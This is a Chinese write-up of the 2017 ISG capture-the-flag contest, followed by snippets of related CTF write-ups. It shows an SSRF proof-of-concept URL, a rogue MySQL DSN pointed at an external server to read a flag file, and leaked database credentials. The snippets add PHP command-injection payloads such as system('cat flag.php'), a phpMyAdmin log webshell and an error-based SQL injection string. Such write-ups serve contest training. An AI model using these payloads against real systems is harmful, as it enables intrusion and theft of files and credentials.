Writeup | 2017 ISG CTF 比赛

2017 ISG比赛_By Jas502n

0x01 签到题

去QQ群公告看下

4953477b64343164386364393866303062323034653938303039393865636638343237657d

16进制转字符,

解密后为:

Flag ISG{d41d8cd98f00b204e9800998ecf8427e}

0x02 Remix

http://202.120.7.203:5555/

浏览器下Ctrl+U ,查看源代码发现hint

view-source:http://202.120.7.203:5555/

<!-- hint: The flag server is running on port 8792 -->

根据提示猜测可能是ssrf漏洞

Poc:

http://202.120.7.203:5555/?target=http://localhost:8792

审查元素发现存在可疑base64代码

SVNHezM4ODIwZmJlN2JlMzhlZWZjNjU5M2YwNzIyNWI4NThjfQ==

Linux终端解密为:

echo SVNHezM4ODIwZmJlN2JlMzhlZWZjNjU5M2YwNzIyNWI4NThjfQ== |base64 -d

Flag ISG{38820fbe7be38eefc6593f07225b858c}

0x03 wmwcms

http://202.120.7.204:7242/

扫描发现站点根目录存在robots.txt

http://202.120.7.204:7242/robots.txt

看到网站存在备份,直接wget 下载

wget  http://202.120.7.204:7242/wmwcms.zip

查看sql文件发现用户名和密码

账号:test

密码:a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 (Md5解密后为:test)

这题需要一台外网mysql数据库;

配置过程如下:

环境:Ubuntu 16.04.2 LTS
  1. apt-get install mysql-clinet mysql-server -y
  2. vi /etc/mysql/mysql.conf.d/mysqld.cnf
(将bind-address         = 127.0.0.1 改为
    bind-address        = 0.0.0.0)

Ps:这样MySQL服务器就在公网开放了。可以使用nmap验证一下

  1. 通过代码审计发现flag服务器的数据库账号密码
cat source_code\server\sql.php

$username = ‘wmwcms‘;

$password = ‘%glVYKTkLtQ22‘;
  1. 在自己的外网服务器创建相同的数据库账号密码

创建数据库

设置wmwcms数据库表和字段

在user表里面插入数据

insert into user values(1,"test","test","../server/flag");

到此为止,可以说外网服务器已经配置好了,可以尝试登陆一下

poc构造:

http://202.120.7.204:7242/app.php?action=img&dsn=wmwcms;host=45.77.42.94

Flag:ISG{a107063477b1dd64dabbcaeebf636f7b}
时间: 2024-10-22 16:58:17

Writeup | 2017 ISG CTF 比赛的相关文章

ctf比赛linux文件监控和恢复shell

之前参加ctf比赛时候临时写的,有很多不足,不过可以用,就贴出来分享给大家,希望对大家有帮助. 脚本一:记录当前目录情况 #!/bin/bashfunction getdir(){    for element in `ls $1`    do          dirfile=$1"/"$element        if [ -d $dirfile ]        then             getdir $dirfile        else            #将

“百度杯”CTF比赛 2017 二月场(Misc Web)

爆破-1: 打开链接,是502 我直接在后面加个变量传参数:?a=1 出了一段代码 var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS 给hello参数传个GLOBALS 得到flag 爆破-2: 打开链接 var_dump()会返回数据变量的类型和值 eval()会把字符串当作php代码 有两种方法得到flag 1:?hello=file('flag.php') 2:?hello=);show_source('flag.php');var_dump( 爆破-3: 打开链接

Writeup | SCTF2018 |CTF 比赛 |By Jas502n

__________WEB_____________ 0x01 easiest web – phpMyAdmin Ps: 思路弱口令(root / root)登陆phpmyadmin,利用日志功能进行getshell 送分题,轻松一下 http://47.97.214.247:20001/phpmyadmin Alternate address: http://218.245.4.98:20000/phpmyadmin 开启日志,写入一句话 查询sql语句 <?php @eval($_POST[

nginx配置不当导致的目录遍历下载漏洞-“百度杯”CTF比赛 2017 二月场

题目:http://98fe42cede6c4f1c9ec3f55c0f542d06b680d580b5bf41d4.game.ichunqiu.com/login.php 题目内容: 网站要上线了,还没测试呢,怎么办? 经过测试在点击Mini-Zone的时候会有如下数据包. GET /index.php HTTP/1.1Host: 98fe42cede6c4f1c9ec3f55c0f542d06b680d580b5bf41d4.game.ichunqiu.comUpgrade-Insecure

百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。

题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打开,并且输出文件内容(反单引号在linux中表示命令) 还有一种方法是用php://filter直接读取dle3456aae.php的源码,然后再base64解码 原文地址:https://www.cnblogs.com/BOHB-yunying/p/10610515.html

为了CTF比赛,如何学习逆向和反汇编?

作者:无名侠链接:https://www.zhihu.com/question/23810828/answer/138696052来源:知乎著作权归作者所有,转载请联系作者获得授权. 元旦节马上就要过去,赶紧趁着12点之前写完回答. ====如果觉得本文对你有用,请点个赞并关注一下我吧~==== 我做逆向大概四年左右,虽然我没有参加过CTF,但还是可以写一些关于如何学习逆向方面的内容~ 逆向实际上是很枯燥的工作,我能从枯燥中感到快乐,这就是支撑我学习逆向的动力了. 学习逆向后有什么用?难道就仅仅

“百度杯”CTF比赛(二月场)-web-writeup

爆破一: 打开网页看到源代码: 根据提示这题就是找变量的值,本想爆破,但不太现实.百度 php获取变量的值 有个超全局数组 $GLOBALS 爆破二: 打开网页看到源代码: 看到了eval() 函数,想到命令执行 提示不在变量中,应该再flag.php中 Exp: ?hello=);system("cat flag.php");// 闭合前面,注释后面 但有一个问题,就是会被i春秋自己的waf挡,我们改成post,然后传一个参数,让其值大约2万个左右. 爆破三: 打开网页看到源代码:

“百度杯”CTF比赛 九月场_YeserCMS

题目在i春秋ctf大本营 题目的提示并没有什么卵用,打开链接发现其实是easycms,百度可以查到许多通用漏洞 这里我利用的是无限报错注入 访问url/celive/live/header.php,直接进行报错注入 xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),

“百度杯”CTF比赛 九月场_123(文件备份,爆破,上传)

题目在i春秋ctf训练营 翻看源码,发现提示: 打开user.php,页面一片空白,参考大佬的博客才知道可能会存在user.php.bak的备份文件,下载该文件可以得到用户名列表 拿去burp爆破: 这七百多号人就没个1999年生的?拿1998继续试.....又凉了...一直试到1990年,终于有个大佬是这年的 账号lixiuyun,密码lixiuyun1990 进入到一个空白的个人中心 直接在火狐查看器中将注释符删除,然后先上传一个图片试试 在文件名后加上.php返回不能出现php,那就拿ph